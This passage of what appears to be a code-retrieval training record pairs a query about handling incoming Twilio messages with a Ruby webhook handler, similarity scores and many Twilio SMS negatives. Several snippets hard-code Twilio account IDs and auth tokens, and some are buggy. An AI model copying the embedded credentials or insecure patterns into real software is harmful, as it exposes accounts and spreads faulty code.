\nend", "def number_in_a_can(number = 10)\n number.times { |n| puts \"The number is #{n}\" }\nend", "def factor(number)\r\n i = 1\r\n while i <= number\r\n puts i if number % i == 0\r\n i += 1\r\n end\r\nend", "def factorial(number)\n if number >= 1000\n return final = 0\n elsif\n number >=1\n array = Array.new\n (number + 1).times do |i|\n array.push(i)\n end\n array.shift\n final = 1.0\n array.each { |i| final *= i }\n return final\nelse\n return final = 1\nend\nend", "def main\n if ARGV[0].to_i > 1\n puts factorial(ARGV[0].to_i)\n else\n puts(\"Incorrect Argument - need a single argument with a value of zero or more.\")\n end\nend", "def factorial(number)\n if number == 0\n p 1\nelsif\n i = 1\n num = i * number\n while number > i do\n num = i * num\n i += 1\n end\n p num\n end\nend", "def getint(input) \n intrate = input.to_s.gsub(/[^0-9.]+/, '')\n @interest = DecNum(intrate).round(:places=>3) \n if @interest.between?(0.125,35.0)\n @output.puts 'The interest Rate you entered is: ' + @interest.to_s\n @status = 'valid'\n else \n @output.puts 'Oops, Interest Rate must be between 0.125 and 35 percent!'\n end\n return @interest \n end", "def ask_for_initial_number(phrase)\n print \"Please enter the #{phrase}: \"\n input = gets.chomp\n if numerical_input?(input)\n return input.to_f\n else\n print \"#{tell_invalid(\"entry.\")} \"\n ask_for_initial_number(phrase)\n end\nend", "def two_decimal_places(n)\n puts n.round(2)\n raise NotImplementedError.new \"TODO: two_decimal_places\"\nend", "def circumference_of_circle(radius)\n 2 * Pi * radius\nend", "def repeat(str, num)\n if str.is_a?(String) == false || str.nil?\n puts \"Invalid input. Please enter a string.\"\n return\n end\n\n if num < 1 || num.nil?\n puts \"Invalid input. Please enter a number greater or equal to one.\"\n return\n elsif num.is_a?(Float)\n num = num.to_i\n end\n\n num.times { puts str }\nend", "def sq(n)\n n.to_f*n\n end", "def solve(meal_cost, tip_percent, tax_percent)\r\n puts (meal_cost + meal_cost*tip_percent/100 + meal_cost*tax_percent/100).round\r\nend", "def mort_form\n puts \"Mortgage Calculator\".center(80)\n puts \"Standard Fixed-Rate Loans\".center(80)\n puts \"=-\" * 40 #dividing line\n puts \"press Ctrl+C to QUIT\"\nend", "def prompt_player_for_answer(question)\n\n puts \"\"\n puts question.text_of_question\n puts \"\"\n\n question.answer = gets.chomp.to_f.round(2)\n\nend", "def add_or_multiply\n\tputs \"Select a number between 1 and 25\"\n\tinput = gets.chomp.to_i\n\tputs \"Great, now would you like me to add or multiply?\"\n\tarithmetic = gets.chomp.downcase\n\n\tif arithmetic == \"add\"\n\t\tputs \"Everything added up equals... \" \n\t\tsleep(0.5)\n\t\tputs (1..input).inject(:+)\n\telsif arithmetic == \"multiply\"\n\t\tputs \"Everything multiplied together equals...\"\n\t\tsleep(0.5)\n\t\tputs (1..input).inject(:*)\n\tend\n\tagain\nend", "def highest_possible_factor\n Math.sqrt(number)\n end", "def highest_possible_factor\n Math.sqrt(number)\n end", "def multiplicador_iva\n return 1.0 unless percepcion_iva.present?\n 1 + 0.01 * percepcion_iva\n end", "def change_percentage()\n puts \"please enter percentage for increasing/decreasing the rent\"\n PERCENTAGE = gets\n return PERCENTAGE\n end", "def q1_get_num\n puts \"Enter a number please: \"\n gets.to_i\nend" ]
[ "0.70012957", "0.6943915", "0.68257415", "0.6196292", "0.6155135", "0.608952", "0.59642476", "0.57550055", "0.5672456", "0.56198806", "0.5612132", "0.5609172", "0.5554061", "0.5470592", "0.5456151", "0.5427291", "0.53780836", "0.5357305", "0.53421557", "0.53379655", "0.53238434", "0.5319324", "0.5311632", "0.53000534", "0.52909553", "0.5272101", "0.5258411", "0.5240273", "0.5236987", "0.52175796", "0.521267", "0.5203034", "0.52001053", "0.5195844", "0.5175457", "0.5171842", "0.5163553", "0.5163514", "0.5162437", "0.5152995", "0.51499975", "0.5143743", "0.5138668", "0.51351136", "0.5130472", "0.51182187", "0.509961", "0.5096132", "0.5089448", "0.5089142", "0.5086492", "0.5066693", "0.50650907", "0.50544703", "0.5051073", "0.50465643", "0.5046211", "0.50438625", "0.50438625", "0.5035983", "0.5033868", "0.5022775", "0.501438", "0.5013689", "0.50066787", "0.5005599", "0.4992944", "0.49918458", "0.49890578", "0.49773517", "0.49657735", "0.4961981", "0.49618933", "0.4954761", "0.49464947", "0.49436036", "0.49409837", "0.49384457", "0.49379402", "0.49372014", "0.49345767", "0.4932439", "0.4932275", "0.4922319", "0.4917613", "0.4907599", "0.49070653", "0.4906946", "0.4904765", "0.4902751", "0.49018186", "0.49005416", "0.48961204", "0.4885139", "0.48820022", "0.48805195", "0.48771375", "0.48771375", "0.4871314", "0.4870771", "0.4868081" ]
0.0
-1
triggered when our twilio number receives a message
def twiml sms = { from: params[:From], to: params[:To], body: params[:Body] } from_user = User.find_by_phone_number(params[:From]) sms[:from_user_id] = from_user.id if from_user to_user = User.find_by_phone_number(params[:To]) sms[:to_user_id] = to_user.id if to_user # save the message into the DB @sms = Sms.create(sms) from_user = @sms.from_user # response logic # if from_user && from_user.response.nil? # if sms[:body].downcase.include?("yes") # twilio.respond_to_yes(sms[:from]) # from_user.response = true # from_user.save # elsif sms[:body].downcase.include?("no") # twilio.send_sms(sms[:from], "Got it. Have a great day!") # from_user.response = false # from_user.save # end # end # Empty response to Twilio (Do nothing more) render xml: Twilio::TwiML::Response.new.text end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def twilio\n @number = params[:phone_number]\n \n #Text message info\n t = {\n \n 'From' => CALLER_ID,\n 'To' => @number,\n 'Body' => (\"Visit uhpartments.com when you walk through an apartment\")\n }\n\n begin\n account = Twilio::RestAccount.new(ACCOUNT_SID, ACCOUNT_TOKEN)\n resp = account.request(\"/#{API_VERSION}/Accounts/#{ACCOUNT_SID}/SMS/Messages\",\n 'POST',\n t)\n resp.error! unless resp.kind_of? Net::HTTPSuccess\n rescue StandardError => bang\n #This area will be called if an error happens with the Twilio API\n flash[:alert] = \"Bad number.\"\n redirect_to({ :action => :home })\n \n return\n end\n\n redirect_to({ :action => :home, :alert => \"SMS sent.\" })\n end", "def reply # acts as endpoint\n \tmessage_body = params[\"Body\"] # grab params from Twilio's request\n \tfrom_number = params[\"From\"]\n \tboot_twilio\n \tsms = @client.messages.create( # send to inbound number made by end user\n from: Rails.application.secrets.twilio_from_number,\n to: from_number,\n body: \"Hello there, thanks for texting me. Your number is #{from_number}.\"\n \t)\n end", "def receive_sms\n @view = \"sms\"\n @body = params[\"Body\"]\n @phone_number = params[\"From\"]\n set_user_create_message_parse_and_point\n end", "def alert\n # @twilio_number = ENV['TWILIO_NUMBER']\n # @client = Twilio::REST::Client.new ENV['TWILIO_ACCOUNT_SID'], ENV['TWILIO_AUTH_TOKEN']\n # binding.pry\n number_to_send_to = self.phone_number\n\n\t twilio_sid = \"ACca4bce79e5cdb95990cdf5a84b89c45b\"\n\t twilio_token = \"5f5703217d9812afe53c1fceea9d0b3f\"\n\t twilio_phone_number = \"5404694050\"\n\n\t @twilio_client = Twilio::REST::Client.new twilio_sid, twilio_token\n # time_str = ((self.time).localtime).strftime(\"%I:%M%p on %b. %d, %Y\")\n reminder = \"Hi 😍 This is a reminder from the Shiviti App. Happy Meditating 🙏\"\n \n # @twilio_client.account.sms.messages.create\n message = @twilio_client.account.messages.create(\n :from => \"+1#{twilio_phone_number}\",\n :to => number_to_send_to,\n :body => reminder,\n )\n puts message.to\n end", "def on_newmessage(time, userid, username, msg)\n end", "def receive_message(message)\n end", "def notify(custom_message, phone_number)\n account_sid = ENV['TWILIO_ACCOUNT_SID']\n auth_token = ENV['TWILIO_AUTH_TOKEN']\n client = Twilio::REST::Client.new(account_sid, auth_token)\n message = client.messages.create from: ENV['TWILIO_PHONE_NUMBER'], to: '+1' + phone_number, body: custom_message\n end", "def on_message(m)\n end", "def twilio\n account_sid = ENV[\"TWILIO_SID\"]\n auth_token = ENV['TWILIO_TOKEN']\n client = Twilio::REST::Client.new account_sid, auth_token\n\n from = \"8452633595\"\n\n client.account.messages.create(\n :from => from,\n :to => self.phone,\n :body => \"#{self.title} - #{self.full_desc} ($#{self.price})\"\n )\n puts \"Sent message\"\n end", "def send_messages(event)\n begin\n scheme = request.scheme\n host = request.host\n rescue NameError\n scheme = 'http'\n host = 'testing'\n end\n message = <<EOL\nPlease attend this blood drive event and help save lives.\n#{scheme}://#{host}/events/#{event.id}\nEOL\n Donor.where(zipcode: event.zipcode).map(&:phone).each do |ph|\n @client.messages.create(:from => twilio_number, :to => ph , :body =>message)\n end\n end", "def received\n end", "def receive_msg msg\n # stub, overwrite this in your handler\n end", "def call\n account_sid = 'ACe330ba04d082392df4cb3511dcb72cec'\n auth_token = '2008ea097713e401a16c54029058da82'\n\n # set up a client to talk to the Twilio REST API\n @client = Twilio::REST::Client.new account_sid, auth_token\n\n @client.account.messages.create(\n :from => '+18152642023',\n :to => @number,\n :body => 'hahahayolo'\n )\n end", "def sms\n # Give Twilio the TwiML payload instructions\n twiml_payload\n end", "def receive(message)\n info(\"[Emailvision] Receive -> #{message}\")\n end", "def perform(reminder, number)\n \tclient = Twilio::REST::Client.new Rails.application.secrets.twilio_account_sid, Rails.application.secrets.twilio_auth_token\n \tmessage = client.messages.create from: '8326482121', to: 'number', body: 'Hi, This is a reminder to text @reminder.contact regarding @reminder.occasion.'\n \t\n ##Do something later\n end", "def reply_to_sender(phone_number, msg)\n Rails.logger.debug('TropoController::reply_to_sender')\n #get_system_org.create_gateway!.send_raw(phone_number, msg)\n @tropo.say(msg)\n end", "def incoming\n from = params[\"From\"]\n\n if Number.find_by(number: from).blank?\n Number.create(number:from)\n end\n\n number = Number.find_by(number: from)\n\n if number.user.blank? && number.skip_sign_up == false\n boot_twilio\n sms = @client.messages.create(\n from: Rails.application.secrets.twilio_phone_number,\n to: from,\n body: \"If you would like to register your name so we can give you credit for your pictures, send a text with 'Register' followed by your name :)\"\n )\n\n number.update(skip_sign_up: true)\n end\n body = params[\"Body\"]\n split = body.split(\" \")\n\n if split[0]&.downcase == 'register'\n if number.user.blank?\n User.create(\n name: split.drop(1).join(\" \"),\n number: number\n )\n\n boot_twilio\n sms = @client.messages.create(\n from: Rails.application.secrets.twilio_phone_number,\n to: from,\n body: \"Successfully registered #{from} to #{number.user.name}\"\n )\n elsif number.user.present?\n boot_twilio\n sms = @client.messages.create(\n from: Rails.application.secrets.twilio_phone_number,\n to: from,\n body: \"#{from} is already registered to #{number.user.name}. Text William @ 4046801732 if this isn't right.\"\n )\n end\n elsif params[\"MediaUrl0\"].present?\n Pic.create(\n number: number,\n description: params[\"Body\"],\n path: params[\"MediaUrl0\"]\n )\n reply_body = \"Thanks for for sending the pics of the party!\"\n if number.user.present?\n reply_body = \"#{number.user.name}, Thanks for sending pics!\"\n end\n\n from_number = params[\"From\"]\n boot_twilio\n sms = @client.messages.create(\n from: Rails.application.secrets.twilio_phone_number,\n to: from_number,\n body: reply_body\n )\n end\n end", "def twilio_send_text_message!(client,phone_num,msg)\n begin\n sms = client.account.sms.messages.create(\n :from => TWILIO_PHONE,\n :to => phone_num,\n :body => msg)\n rescue Exception => e\n puts \"Problems with twilio:\\n#{e}\"\n end\n end", "def trigger_on_message(msg); @app.on_message(msg); end", "def process(event)\r\n debug do\r\n carrier = event.payload[:carrier]\r\n action = event.payload[:action]\r\n \"\\n#{carrier}##{action}: processed outbound SMS in #{event.duration.round(1)}ms\"\r\n end\r\n end", "def sms\n \t\n \t#flash[:notice] = params\n \t#redirect_to root_path\n\n TwilioTextMessenger.new( params[:phone], params[:message]).call\n \t\n end", "def received(message)\n if message.respond_to?(:encoding) && message.encoding != 'UTF-8'\n message.force_encoding 'UTF-8'\n end\n data = JSON.parse message, :symbolize_names => true\n\n case data[:type]\n when 'text'\n return if @nonces.include?(data[:nonce])\n @nonces << data[:nonce]\n room.message @user, data[:text], name_color, data[:client_ts]\n when 'av-invite', 'av-accept', 'av-close'\n return if @nonces.include?(data[:nonce])\n @nonces << data[:nonce]\n av_message data\n when 'sync'\n @last_event_id = data[:last_event_id].to_i\n sync_events\n when 'ping'\n respond pong: { nonce: data[:nonce], client_ts: data[:client_ts] }\n when 'relay'\n return if @nonces.include?(data[:nonce])\n @nonces << data[:nonce]\n room.relay @user, data[:to], data[:body], data[:client_ts]\n end\n end", "def received\n EnquiryMailer.received\n end", "def event_incoming_chat(client, msg)\nend", "def messaging\n end", "def receive(message)\n info(\"[Smartfocus] Receive -> #{message}\")\n end", "def message\n account_sid = ENV['TWILIO_ACCOUNT_SID'] \n auth_token = ENV['TWILIO_AUTH_TOKEN'] \n client = Twilio::REST::Client.new(account_sid, auth_token)\n\n from = ENV['TWILIO_PHONE_NUMBER']\n to = '+15145037764' # Your mobile phone number\n\n client.messages.create(\n from: from,\n to: to,\n body: \"The Elevator '#{self.id}', Serial Number '#{self.serial_number}' needs an intervention\" \n )\n end", "def on_msg(msg)\n\n on_message(false, msg)\n end", "def listen_for_messages\n @queue.subscribe do |_delivery_info, _metad5ata, payload|\n data = JSON.parse(payload)\n display_message(data['user'], data['message'])\n end\n end", "def outboundcall\n # This FromPhoneNumber should have been verified in the associated sub-account\n render_twiml generateTwiml(params[:FromPhoneNumber], params[:ToPhoneNumber])\n end", "def send_my_message\n account_sid = 'ACe330ba04d082392df4cb3511dcb72cec'\n auth_token = '2008ea097713e401a16c54029058da82'\n @client = Twilio::REST::Client.new account_sid, auth_token\n @client.account.messages.create(\n :from => @from,\n :to => @to,\n :body => @body\n )\n end", "def message_received(type, from, text, time = nil)\n msg = message_db.add(\n type: type,\n to: type == :message ? username : nil,\n from: from,\n text: text,\n time: time\n )\n signal_change(type, msg)\n end", "def message_received(&callback)\n @connectivity_checker.message_received(&callback)\n end", "def handle_message(event)\n sender = @users[event['sender']]\n timestamp = event['origin_server_ts'] || Time.now.to_i\n content = event['content']\n message = Message.new sender, timestamp, content\n broadcast(:message, @room, message)\n Events.processed event\n end", "def huzzah\n # ===========================================================================\n # 6. Send an SMS Message to 415-555-1212\n # uses a HTTP POST, and a new variable t for the information (because it needs \"Body\")\n \n account = Twilio::RestAccount.new(ACCOUNT_SID, ACCOUNT_TOKEN)\n \n t = {\n 'From' => CALLER_ID,\n 'To' => phone,\n 'Body' => message\n }\n resp = account.request(\"/#{API_VERSION}/Accounts/#{ACCOUNT_SID}/SMS/Messages\",\n \"POST\", t)\n end", "def sms\n account_sid = <your account sid>\n auth_token = <your auth token>\n client = Twilio::REST::Client.new(account_sid, auth_token)\n\n client.messages.create(\n from: <twilio number>,\n to: <your number>,\n body: @message\n )\nend", "def message_received(jid,text)\n debug \"message received from #{jid}\"\n window = message_window_for(jid)\n window.window.show\n debug \"add msg\"\n window.add_message(text)\n end", "def did_receive_notice(stem, sender, recipient, msg)\n end", "def received\n AcademyApplicationMailer.received\n end", "def message_type\n 'sms'\n end", "def process\n # abort if the SMS in question is from one of the incoming SMS numbers\n return if all_incoming_numbers.include?(incoming_msg.from)\n\n self.reply = handle_reply\n self.forward = handle_forward\n end", "def received(data)\n RequestsChannel.broadcast_to(@request, {request: @request, users: @request.users, messages: @request.messages})\n end", "def send_text_message(text_message)\n number_to_send_to = text_message.receiver\n message = text_message.content\n twilio_sid = \"AC50070372767bdf26a090b08007bba07f\"\n twilio_token = \"8ae1cdbb08d55b99cab34174c3cd8bbb\"\n twilio_phone_number = \"2245209581\"\n @twilio_client = Twilio::REST::Client.new twilio_sid, twilio_token\n @twilio_client.account.sms.messages.create(\n :from => \"+1#{twilio_phone_number}\",\n :to => number_to_send_to,\n :body => message\n )\n \n end", "def notifyViaSMS(number, message, api, user, password)\n result = nil\n message = CGI.escape message\n request = \"/http/sendmsg?api_id=#{api}&user=#{user}&password=#{password}&to=#{number}&text=#{message}&from=RIVR\" \n Net::HTTP.start( 'api.clickatell.com', 80 ) { |http| result = http.get(request).body } \n return result \n end", "def receive_message(msg)\n speakers = get_speakers(@resource[:name])\n answer = speakers.first.send(msg)\n Puppet.debug(\"#{resource[:name]} <= #{msg} <= #{answer}\")\n answer.to_s\n end", "def send_message\n response = RestClient::Request.new(\n :method => :post,\n :url => \"https://api.twilio.com/2010-04-01/Accounts/#{ENV['TWILIO_ACCOUNT_SID']}/Messages.json\",\n :user => ENV['TWILIO_ACCOUNT_SID'],\n :password => ENV['TWILIO_AUTH_TOKEN'],\n :payload => { :Body => body,\n :To => Contact.find(self.contact_id).number,\n :From => ENV['USER_NUMBER'] }\n ).execute\n end", "def receive_sms\n uninitialize_sms\n body = params[:Body]\n phone_number = normalize_phone params[:From].strip\n @problem_text = body.split\n action = sms_parsing(body).downcase\n if action == \"join\"\n sms_create_account\n return\n elsif Account.find_by_phone_number(phone_number) == nil\n sms_send(params[:From], \"Please first create an account by texting the word 'join'.\")\n return\n end\n if !@sms_error\n case action\n when /^add$/,/^insert$/\n sms_create\n when /^accept$/\n sms_accept_problem\n when /^get$/\n @offset = false\n sms_get(0)\n when /^edit$/\n sms_edit\n when /^delete$/, /^destroy$/\n sms_delete\n when /^next$/\n offset = session[\"offset\"]\n if offset == nil\n sms_error(\"Sorry, there is no saved session right now. Please first text \\\"GET\\\" with @location !skill %number of texts you want to allow.\")\n else\n @offset = true\n sms_get(offset)\n end\n when /^detail$/, /^details$/, /^describe$/\n sms_detail\n when /^account$/\n forgot_acc\n when /^change$/\n sms_change_password\n when /^password$/\n forgot_password\n# when /^skill$/, /^skills$/\n# sms_skill\n when /^keywords$/, /^key$/, /^keys$/, /^help$/\n sms_keywords\n when /^explain$/\n sms_explain\n else\n if is_num?(action)\n session[:received_confirmation] = action\n sms_confirm_acc\n else\n sms_wrong_keyword\n end\n end\n end\n render :nothing => true\n end", "def onmessage(&blk); super; end", "def message(event)\n msg = JSON.parse(event.data, :symbolize_names => true) rescue {}\n seq = msg[:message_sequence]\n if msg[:ping] == 'PING'\n Firehose.logger.debug \"WS ping received, sending pong\"\n @ws.send JSON.generate :pong => 'PONG'\n elsif !@subscribed && seq.kind_of?(Integer)\n Firehose.logger.debug \"Subscribing at message_sequence #{seq}\"\n subscribe seq\n end\n end", "def receive_message\n params[:incoming_number] = $1 if params[:incoming_number]=~/^1(\\d{10})$/\n params[:origin_number] = $1 if params[:origin_number]=~/^1(\\d{10})$/\n @group=current_user.groups.find_by_phone_number(params[:incoming_number])\n \n if @group\n [email protected]_number==params[:origin_number]\n @sending_student = @group.students.find_by_phone_number(params[:origin_number])\n @sending_person = sent_by_admin ? @group.user : @sending_student\n \n if @sending_person\n message = (sent_by_admin ? @group.user.display_name : @sending_student.name)+\": \"+params[:message]\n @group.send_message(message,@sending_person, sent_by_admin ? @group.students : [@group.user]) #if a student sent it, just send it to teacher. if teacher sent it, push to group\n end\n end\n \n render :text=>\"sent\", :status=>202\n #needs to return something API-like, yo\n end", "def send_text(number, message)\n @client.api.account.messages.create(\n to: number,\n from: 'add phone number',\n body: message\n )\n end", "def listener message\n p message\n case message.downcase\n # add own messages\n when \"start\"\n puts 'Starting'\n when \"end\"\n puts 'Ending'\n stop\n exit 0\n else\n puts \"unknown message:#{message}\"\n end\n publish \"ack\"\n end", "def new; send_sms; end", "def twilio_text\n \n @twilio_number = ENV['TWILIO_NUMBER']\n @client = Twilio::REST::Client.new ENV['TWILIO_ACCOUNT_SID'], ENV['TWILIO_AUTH_TOKEN']\n time_str = self.time\n content = \"#{self.content} Sent from the Twilio App. Please do not reply\"\n message = @client.account.messages.create(\n :from => @twilio_number,\n :to => self.phone_number,\n :body => content\n )\n puts message\n end", "def send_message(arg1, arg2)\n account_sid = 'AC5XXXXXXXXXXXXXXXXXXX' # place twilio sid here\n auth_token = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXX' # place twilio auth token here\n client = Twilio::REST::Client.new(account_sid, auth_token)\n \n from = '' # Your Twilio number\n to = arg1 # Your mobile phone number\n \n client.messages.create(\n from: from,\n to: to,\n body: arg2\n )\n\n end", "def skypeNotificationReceived(a)\n return unless logger\n case a.to_s\n when /CHATMESSAGE ([0-9]+) STATUS (SENT|RECEIVED)/\n on_message_sent_or_recieve($1)\n when /CHATMESSAGE ([0-9]+) ([A-Z_]+) (.*)$/\n on_message($1, $2, $3) if respond_to? :on_message\n end\n end", "def sending_message(to, msg)\n\t begin\n\t\t @client = Twilio::REST::Client.new @account_sid, @auth_token\n\t\t data = {\n\t\t\t\t:from => \"+\" + Rails.application.secrets.from_number.to_s, \n\t\t\t\t:to => to,\n\t\t\t\t:body => msg, \n\t\t\t}\n\t\t\tputs data.inspect\n\t\t\[email protected](data)\n\t\trescue\n raise \"Message not send\"\n\t\tend\n end", "def send_message(number_arr,message)\n # put your own credentials here\n #number_arr, my_message\n\n account_sid = ENV[\"twilio_account_sid\"]\n auth_token = ENV[\"twilio_auth_token\"]\n # set up a client to talk to the Twilio REST API\n @client = Twilio::REST::Client.new account_sid, auth_token\n\n\n number_arr.each do |number|\n begin\n @client.api.account.messages.create(\n from: '+12892761834',\n to: number,\n body: message\n )\n rescue => err\n puts \"********************send msg error********************\"\n puts err.message\n puts \"********************send msg error********************\"\n end\n\n end\n\n end", "def send_joke\r\n client = Twilio::REST::Client.new Rails.application.secrets.twilio_account_sid, Rails.application.secrets.twilio_auth_token\r\n message = client.messages.create from: '347-933-6917', to: params[:phone_number], body: Joke.pick_joke\r\n redirect_to :back\r\n end", "def send_text\n @number_list.each do |number|\n # clock = Alarm.new(2014, 07, 17, 11, 38, 40)\n puts Time.now\n account_sid = 'ACe330ba04d082392df4cb3511dcb72cec'\n auth_token = '2008ea097713e401a16c54029058da82'\n @client = Twilio::REST::Client.new account_sid, auth_token\n # until Time.now > clock.time\n # puts \"It's not time!\"\n # sleep (5)\n # end\n @client.account.messages.create(\n :from => '+18152642023',\n :to => number,\n :body => @body\n )\n end\n end", "def send phone_number\n account = CLIENT.account \n message = account.sms.messages.create({from: TAKEAWAY_NUMBER , to: phone_number, body: \"Thanks for your order! It shall arrive no later than #{@delivery_time.strftime(\"%H\")}:#{@delivery_time.strftime(\"%M\")}.\"})\n message.body\n end", "def on_message_data_receiving_event(ctx) end", "def perform(message, to_number)\n logger.info \"Sending message to #{to_number}\"\n TwilioService.new({\n to: to_number,\n msg: message\n }).send_sms\n end", "def listen(m)\n if /#([0-9]*)/.match(m.message)\n ticket = /#([0-9]*)/.match(m.message)[1]\n m.reply \"Did someone mention ticket ##{ticket}? Here's a link: \" + \"https://transmit.codebasehq.com/projects/brand-regard/tickets/\" + ticket\n end\n end", "def new_sms_updates(content, tonumber)\n\[email protected] do |message|\n\tRails.logger.debug(message.body)\n\tend\n end", "def message_callbacks\n @messagecbs\n end", "def on_message(event)\n message = JSON.parse(event.data)\n\n if message['id']\n message['command'] = 'response_received'\n elsif message['message']\n command, *args = *message['message']\n message = {'command' => command, 'args' => args}\n end\n\n logger.debug \"Message received: #{message.inspect}\"\n dispatch(message)\n end", "def send_message\n twilio_service = TwilioService.new \n twilio = twilio_service.client\n if @user.first_name.downcase == 'brooks' && @user.last_name.downcase =='swinnerton'\n \n twilio.messages.create(\n from: '+18593501304',\n to: \"+1#{@user.phone_number}\",\n body: 'LOOK AT THIS CUTIE!',\n media_url: 'http://media-cache-ec0.pinimg.com/avatars/bswinnerton-57_140.jpg'\n )\n else\n twilio.messages.create(\n from: '+18593501304',\n to: \"+1#{@user.phone_number}\",\n body: 'LOOK AT THIS CUTIE!',\n media_url: @reddit.first_picture\n )\n end\n end", "def send_twilio_mms\n # Get your Account Sid and Auth Token from twilio.com/user/account\n\n account_sid = 'add your account sid'\n auth_token = 'add your auth token'\n\n # set up a client to talk to the Twilio REST API\n client = Twilio::REST::Client.new account_sid, auth_token\n\n\n mms_message_body = \"name:#{self.contact.name}\"\n mms_message_body += \"\" #quick way to create spacing inbetween txt lines\n mms_message_body += \"phone: #{self.contact.phone_number}\"\n mms_message_body += \"\" #quick way to create spacing inbetween txt lines\n mms_message_body += \"#{self.message}\"\n end", "def send_text_message(body)\n if self.mobile.present?\n begin\n TWILIO_CLIENT.messages.create(from: ENV['TWILIO_PHONE_NUMBER'], to: self.mobile, body: body)\n rescue Twilio::REST::RequestError => e\n puts \"Twilio Error: #{e.message}\"\n end\n end\n end", "def on_message data\n\t\t\tbroadcast :_push, data\n\t\t\t_push \"your message was sent: #{data.to_s}\"\n\t\tend", "def on_receive(message)\n end", "def receive(sms)\n sms = connection.parse(sms)\n new.receive(sms)\n end", "def received(vin_cod)\n @vin_cod = vin_cod\n\n mail to: \"[email protected]\", subject: 'Запрос по vin коду на Falcon motors'\n end", "def order_message(name, number, product) \n\t# put your own credentials here \n\taccount_sid = 'AC137a5e22cb853d2e84d7ac091ee43e2e' \n\tauth_token = 'a673fa1a91ba226e7e37569be942b2e9' \n\n\t# set up a client to talk to the Twilio REST API \n\t@client = Twilio::REST::Client.new account_sid, auth_token \n\t \n\[email protected]({\n\t\t:from => '+12039042563', \n\t\t:to => number, \n\t\t:body => \"Thank you, #{name} for ordering #{product}.\"\n\t})\nend", "def send_sms(to_phone_number, message)\n # message = {to:, from:, body: \"Hello\\n\\nWorld\"}\n # binding.pry\n @@client.messages.create(\n from: @@from,\n to: to_phone_number,\n body: message\n )\n end", "def reminderCall\n @twilio_number = ENV['TWILIO_NUMBER']\n @client = Twilio::REST::Client.new ENV['TWILIO_ACCOUNT_SID'], ENV['TWILIO_AUTH_TOKEN']\n call = @client.account.calls.create(\n :from => @twilio_number,\n :to => self.phone_number,\n :url => 'https://clockairos.herokuapp.com/twilio/call',\n :method => 'POST',\n :fallback_method => 'GET',\n :status_callback_method => 'GET',\n :if_machine => 'Hangup',\n :timeout => '30',\n :record => 'false'\n )\n puts call.to\n end", "def verifyphonenumber\n tc = Twilio::REST::Client.new tsid, tauthtoken\n # Ref: https://www.twilio.com/docs/api/rest/outgoing-caller-ids\n call_delay_in_sec = 45 # Can be 0 to 60 seconds\n caller_id = tc.outgoing_caller_ids.create(:phone_number => params[:PhoneNumber], :call_delay => call_delay_in_sec)\n respond_to do |format|\n format.json { render :json => {:verification_code => caller_id.validation_code},\n :status => :ok }\n end\n end", "def reminder\n @twilio_number = ENV['TWILIO_NUMBER']\n @client = Twilio::REST::Client.new ENV['TWILIO_ACCOUNT_SID'], ENV['TWILIO_AUTH_TOKEN']\n time_str = (self.time).strftime(\"%I:%M%p\") #on %b. %d, %Y\n app_id = self.id\n reminder = \"Hi #{self.name}. You shold be waking up soon. If you don't want to be disturbed eliminate the alarm whithin the next 7 minutes. Otherwise I'll really make sure you wake up, trust me.\"\n message = @client.account.messages.create(\n :from => @twilio_number,\n :to => self.phone_number,\n :body => reminder,\n )\n puts message.to\n end", "def onmessage(&block)\n super( &proc do |msg|\n msg = JSON.parse(msg)\n Hammer.logger.debug \"Websocket recieved: #{msg}\" if config[:logger][:show_traffic]\n block.call msg\n end)\n end", "def received\n @messages = Message.sent_to current_user\n end", "def event_incoming_broadcast(peer, room, msg)\nend", "def on_message data\n\t\t# broadcast sends an asynchronous message to all sibling instances, but not to self.\n\t\tdata = ERB::Util.html_escape data\n\t\tbroadcast :_print_out, data\n\t\tresponse << \"You said: #{data}\"\n\t\tresponse << (request.ssl? ? \"FYI: Yes, This is an SSL connection...\" : \"FYI: Nope, this isn't an SSL connection (clear text).\") if data.match /ssl\\?/i\nend", "def receive_message\n params[:incoming_number] = $1 if params[:incoming_number]=~/^1(\\d{10})$/\n params[:origin_number] = $1 if params[:origin_number]=~/^1(\\d{10})$/\n @group=Group.find_by_phone_number(params[:incoming_number])\n \n if @group\n [email protected]_number==params[:origin_number]\n @sending_student = @group.students.find_by_phone_number(params[:origin_number])\n @sending_person = sent_by_admin ? @group.user : @sending_student\n \n #handle the #removeme command. it's a hard-coded single test for now. if we implement more commands, we should probably generalize this\n if params[:message].match(/^\\s*#remove[\\s_]*me/) && @sending_student.present?\n @group.send_message(\"You will no longer receive messages from #{@group.title}. Sorry to see you go!\",nil,[@sending_student])\n @sending_student.update_attribute(:phone_number,nil)\n elsif @sending_person\n message = (sent_by_admin ? @group.user.display_name : @sending_student.name)+\": \"+params[:message]\n @group.send_message(message,@sending_person, sent_by_admin ? @group.students : [@group.user]) #if a student sent it, just send it to teacher. if teacher sent it, push to group\n end\n end\n \n render :text=>\"sent\", :status=>202\n #needs to return something API-like, yo\n end", "def received message, headers={}\n end", "def handle_message(request, message)\n #\n end", "def send_message\n unless message_sent\n twilio_client.messages.create(\n from: ENV.fetch(\"TWILIO_PHONE_NUMBER\"),\n to: contact.phone_number,\n body: content,\n )\n update(message_sent: true)\n end\n end", "def on_message_data_event(ctx); end", "def callback\n twilio_id = params[:CallSid]\n call = Call.where('twilio_id = ?', twilio_id).first\n call.get_recording_info(twilio_id, params[:CallDuration], params[:AnsweredBy])\n render :json => 'callback success'\n end", "def send_text\n Rails.logger.info \"Sending \\\"#{text}\\\" to #{number}...\"\n Twilio::Sms.message(TWILIO_CONFIG['caller_id'], number, text)\n end", "def create \n @message = Message.new({\n incoming: true,\n sid: params['SmsSid'],\n to: params['To'],\n from: params['From'],\n body: params['Body']\n })\n \n respond_to do |format|\n if @message.save\n \n reply = (@message.body.downcase.strip == 'b') ? 'Have a nice day, honey!' : 'Uh oh, we are calling mum...'\n \n response = Twilio::TwiML::Response.new do |r|\n r.Sms reply\n end\n \n Rails.logger.info response.text\n \n user = User.normalise_and_find(params['From'])\n \n if user\n alert = user.alerts.where(:sid => nil).order(\"start asc\").limit(1)\n \n if alert.length == 1\n alert = alert.first\n \n if @message.body.downcase.strip == 'b'\n alert.sid = \"CHECKED\"\n alert.save\n else\n alert.delay.call(alert_url(alert, :format => :xml))\n end\n end\n end\n \n format.xml { render :text => response.text }\n else\n raise \"Can't save!\"\n end\n end\n end", "def reminder\n ENV['TWILIO_NUMBER'] = '+19803656325'\n ENV['TWILIO_ACCOUNT_SID']= 